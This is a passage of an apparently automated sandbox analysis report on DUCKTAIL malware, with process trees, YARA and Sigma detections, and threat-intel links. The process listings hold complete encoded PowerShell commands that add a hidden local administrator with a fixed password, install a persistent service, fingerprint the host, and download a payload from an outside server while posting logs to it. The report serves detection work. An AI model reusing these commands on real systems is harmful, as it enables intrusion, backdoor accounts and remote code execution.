AbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8496 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5792 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 1604 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3032 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 3564 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 5596 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 1544 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7948 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 4416 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7032 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 7372 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 8184 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)

powershell.exe (PID: 1976 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

myRdpService.exe (PID: 4644 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A)

regedit.exe (PID: 5128 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)

powershell.exe (PID: 6792 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

systeminfo.exe (PID: 4828 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 6984 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 8988 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 4212 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000002D.00000002.5370794697.00007FF7B5996000.00000004.00000001.01000000.0000000A.sdmp	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xdac4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x11f94:$a2: 0123456789012345678901234567890123456789 0x3291c:$a3: NTPASSWORD 0x2f7b4:$a4: LMPASSWORD 0x5cd04:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Process Memory Space: powershell.exe PID: 3152	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3152	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 3152	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x32369c:$b1: ::WriteAllBytes( 0x3fd738:$b1: ::WriteAllBytes( 0x6b743:$b2: ::FromBase64String( 0x708b6:$b2: ::FromBase64String( 0x70bbe:$b2: ::FromBase64String( 0x16581f:$b2: ::FromBase64String( 0x165dc4:$b2: ::FromBase64String( 0x166192:$b2: ::FromBase64String( 0x166371:$b2: ::FromBase64String( 0x1664ba:$b2: ::FromBase64String( 0x16652b:$b2: ::FromBase64String( 0x166588:$b2: ::FromBase64String( 0x1665ef:$b2: ::FromBase64String( 0x16664f:$b2: ::FromBase64String( 0x1666d7:$b2: ::FromBase64String( 0x16674e:$b2: ::FromBase64String( 0x1667b3:$b2: ::FromBase64String( 0x166817:$b2: ::FromBase64String( 0x16687f:$b2: ::FromBase64String( 0x1668db:$b2: ::FromBase64String( 0x166956:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6280	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 6280	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 6280	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa8c33:$b1: ::WriteAllBytes( 0x96278:$b2: ::FromBase64String( 0x97b01:$b2: ::FromBase64String( 0x99161:$b2: ::FromBase64String( 0x991d4:$b2: ::FromBase64String( 0x9aa5d:$b2: ::FromBase64String( 0x9facb:$b2: ::FromBase64String( 0xa1354:$b2: ::FromBase64String( 0x59fd4:$b3: ::UTF8.GetString( 0x36008:$s1: -join 0x37440:$s1: -join 0x1bc6f4:$s1: -join 0x1d20c0:$s1: -join 0x1df195:$s1: -join 0x1e2567:$s1: -join 0x1e2c19:$s1: -join 0x1e470a:$s1: -join 0x1e6910:$s1: -join 0x1e7137:$s1: -join 0x1e79a7:$s1: -join 0x1e80e2:$s1: -join
Process Memory Space: svczHost.exe PID: 9124	JoeSecurity_Ducktail_6	Yara detected Ducktail	Joe Security
Process Memory Space: svczHost.exe PID: 9124	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x14cd7b:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x14e4d7:$a2: 0123456789012345678901234567890123456789 0x15ae9b:$a3: NTPASSWORD 0x159bd2:$a4: LMPASSWORD 0x16c6c6:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f3cf:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
45.2.myRdpService.exe.7ff7b5490000.0.unpack	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x511cc4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x516194:$a2: 0123456789012345678901234567890123456789 0x536b1c:$a3: NTPASSWORD 0x5339b4:$a4: LMPASSWORD 0x560f04:$a5: aad3b435b51404eeaad3b435b51404ee 0x519154:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

Other

Source	Rule	Description	Author	Strings
amsi64_6280.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_6280.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xfd25:$b1: ::WriteAllBytes( 0xc19e:$b2: ::FromBase64String( 0xda28:$b2: ::FromBase64String( 0xf089:$b2: ::FromBase64String( 0x529:$b3: ::UTF8.GetString( 0xbdf0:$s1: -join 0x239:$s4: += 0x25c:$s4: += 0x559c:$s4: += 0x565e:$s4: += 0x9885:$s4: += 0xb9a2:$s4: += 0xbc8c:$s4: += 0xbdd2:$s4: += 0xf23f:$s4: += 0xf43c:$s4: += 0x116f2:$s4: += 0x63c11:$s4: += 0x686ba:$s4: += 0x6873a:$s4: += 0x68800:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQA

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQ